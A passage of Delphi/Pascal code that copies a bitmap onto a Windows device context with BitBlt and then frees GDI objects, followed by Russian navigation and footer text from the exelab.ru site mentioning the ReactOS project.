      (CopyBitmap <> 0) then
     begin
       TempBitmap := CopyBitmap;
       CopyBitmap := SelectObject(DC, CopyBitmap);
       Result := BitBlt(DC, Left, Top,
                   Width, Height, CopyDC,
                   0, 0, Rop);
       CopyBitmap := TempBitmap;
       if DeleteObjects then
         begin
           DeleteDC(CopyDC);
           DeleteObject(CopyBitmap);
         end;
     end;
 end;
 
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS